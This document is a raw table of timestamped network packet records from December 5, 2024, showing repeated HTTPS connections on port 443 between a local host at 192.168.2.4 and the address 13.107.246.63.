Dec 5, 2024 22:17:07.907608986 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.907624960 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.907702923 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.907716990 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.907759905 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.025149107 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.025168896 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.025222063 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.025233984 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.025276899 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.025285006 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.053805113 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.053843021 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.053925991 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.053932905 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.053977013 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.076574087 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.076589108 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.076661110 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.076667070 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.076709032 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.102962017 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.102977037 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.103039026 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.103044987 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.103091955 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.205959082 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.206058025 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.206057072 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.206105947 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.206811905 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.206835032 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.211329937 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.211364031 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.211427927 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.211622000 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.211631060 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.239151001 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.239197016 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.239285946 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.239479065 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.239490032 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.260961056 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.261001110 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.261080980 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.262085915 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.262099981 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.925335884 CET	443	49838	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.926666975 CET	49838	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.926687956 CET	443	49838	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:08.927171946 CET	49838	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:08.927177906 CET	443	49838	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.105844975 CET	443	49839	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.106304884 CET	49839	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.106321096 CET	443	49839	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.106884003 CET	49839	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.106889009 CET	443	49839	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.110358000 CET	443	49840	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.110965967 CET	49840	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.110996008 CET	443	49840	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.111577034 CET	49840	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.111582994 CET	443	49840	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.116344929 CET	443	49841	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.116833925 CET	49841	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.116863966 CET	443	49841	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.117506027 CET	49841	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.117511034 CET	443	49841	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.202368021 CET	443	49842	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.202810049 CET	49842	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.202842951 CET	443	49842	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.203248024 CET	49842	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.203253984 CET	443	49842	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.363003016 CET	443	49838	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.363068104 CET	443	49838	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.363116026 CET	49838	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.363316059 CET	49838	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.363332033 CET	443	49838	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.363346100 CET	49838	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.363352060 CET	443	49838	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.366193056 CET	49847	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.366210938 CET	443	49847	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.366276979 CET	49847	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.366403103 CET	49847	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.366411924 CET	443	49847	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.540618896 CET	443	49839	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.540671110 CET	443	49839	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.540720940 CET	49839	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.540895939 CET	49839	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.540910006 CET	443	49839	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.540920019 CET	49839	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.540925026 CET	443	49839	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.543638945 CET	49848	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.543663979 CET	443	49848	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.543751001 CET	49848	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.543914080 CET	49848	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.543926001 CET	443	49848	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.550904989 CET	443	49841	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.550964117 CET	443	49841	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.551012993 CET	49841	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.551290035 CET	49841	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.551317930 CET	443	49841	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.551336050 CET	49841	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.551342964 CET	443	49841	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.553529978 CET	49849	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.553561926 CET	443	49849	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.553633928 CET	49849	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.553764105 CET	49849	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.553780079 CET	443	49849	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.567732096 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.568013906 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.568025112 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.569021940 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.569097996 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.569464922 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.569528103 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.569610119 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.569617987 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.604655981 CET	443	49840	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.604715109 CET	443	49840	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.604768991 CET	49840	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.604895115 CET	49840	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.604908943 CET	443	49840	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.604918957 CET	49840	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.604924917 CET	443	49840	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.606905937 CET	49850	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.606919050 CET	443	49850	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.606987953 CET	49850	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.607120991 CET	49850	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.607136011 CET	443	49850	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.610646009 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.638529062 CET	443	49842	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.638581991 CET	443	49842	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.638631105 CET	49842	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.638783932 CET	49842	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.638788939 CET	443	49842	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.638818979 CET	49842	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.638823032 CET	443	49842	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.640799046 CET	49851	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.640810966 CET	443	49851	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.640896082 CET	49851	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.641014099 CET	49851	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.641022921 CET	443	49851	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.939955950 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.940253973 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.940268993 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.941256046 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.941310883 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.941658020 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.941709042 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.941797018 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.941802025 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.957186937 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.957401037 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.957415104 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.958472967 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.958523035 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.958852053 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.958909035 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.959012985 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.959018946 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.978579044 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.978810072 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.978821993 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.979901075 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.979971886 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.980298042 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.980381012 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:09.980415106 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:09.985656977 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.001292944 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.027342081 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.032536983 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.032545090 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.051832914 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.051851988 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.051860094 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.051892042 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.051915884 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.051919937 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.051942110 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.051953077 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.051960945 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.051990986 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.053775072 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.053787947 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.079402924 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.450349092 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450372934 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450378895 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450398922 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450424910 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450455904 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.450463057 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450517893 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.450568914 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450592041 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450598955 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450623035 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450644970 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.450645924 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450659037 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.450686932 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.450711966 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.454660892 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.454718113 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.454722881 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.454749107 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.454797983 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.455005884 CET	49845	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.455017090 CET	443	49845	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.456315041 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.456346989 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.456355095 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.456373930 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.456382036 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.456389904 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.456402063 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.456407070 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.456464052 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.459549904 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.459583998 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.459646940 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.459892035 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.459903955 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.639549971 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.639569044 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.639753103 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.639758110 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.639805079 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.659118891 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.659127951 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.659154892 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.659179926 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.659194946 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.659199953 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.659249067 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.688450098 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.688465118 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.688528061 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.688532114 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.688571930 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.711570978 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.711589098 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.711658955 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.711667061 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.711718082 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.806492090 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.806512117 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.806677103 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.806685925 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.806741953 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.832196951 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.832216024 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.832293987 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.832304001 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.832343102 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.848490953 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.848506927 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.848584890 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.848588943 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.848629951 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.869215012 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.869230032 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.869314909 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.869322062 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.869360924 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.870332956 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.870352983 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.870409012 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.870417118 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.870459080 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.888827085 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.888840914 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.888919115 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.888922930 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.888962030 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.894700050 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.894716978 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.894798040 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.894804955 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.894841909 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.912548065 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.912564039 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.912626982 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.912636042 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.912674904 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.915760040 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.915832043 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.915838003 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.915854931 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.915905952 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.916179895 CET	49846	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.916193962 CET	443	49846	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.961674929 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.961720943 CET	443	49853	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.961788893 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.962150097 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.962186098 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.962238073 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.962384939 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.962393045 CET	443	49853	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.962722063 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.962738991 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.963131905 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.963150024 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.963196039 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.963362932 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.963375092 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.966375113 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.966386080 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.966439009 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.966634035 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.966645002 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.983392000 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.983480930 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.983489990 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.983510971 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:10.983561039 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.983963966 CET	49844	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:10.983973026 CET	443	49844	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.105865002 CET	443	49847	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.149921894 CET	49847	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.259479046 CET	443	49848	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.279016018 CET	443	49849	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.300941944 CET	49848	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.320487976 CET	49849	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.324553967 CET	49847	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.324572086 CET	443	49847	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.325532913 CET	49847	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.325536966 CET	443	49847	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.327275038 CET	49848	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.327284098 CET	443	49848	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.336741924 CET	443	49850	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.338454962 CET	49848	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.338463068 CET	443	49848	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.339051008 CET	49850	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.339066029 CET	443	49850	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.339658976 CET	49850	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.339663982 CET	443	49850	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.339693069 CET	49849	443	192.168.2.4	13.107.246.63
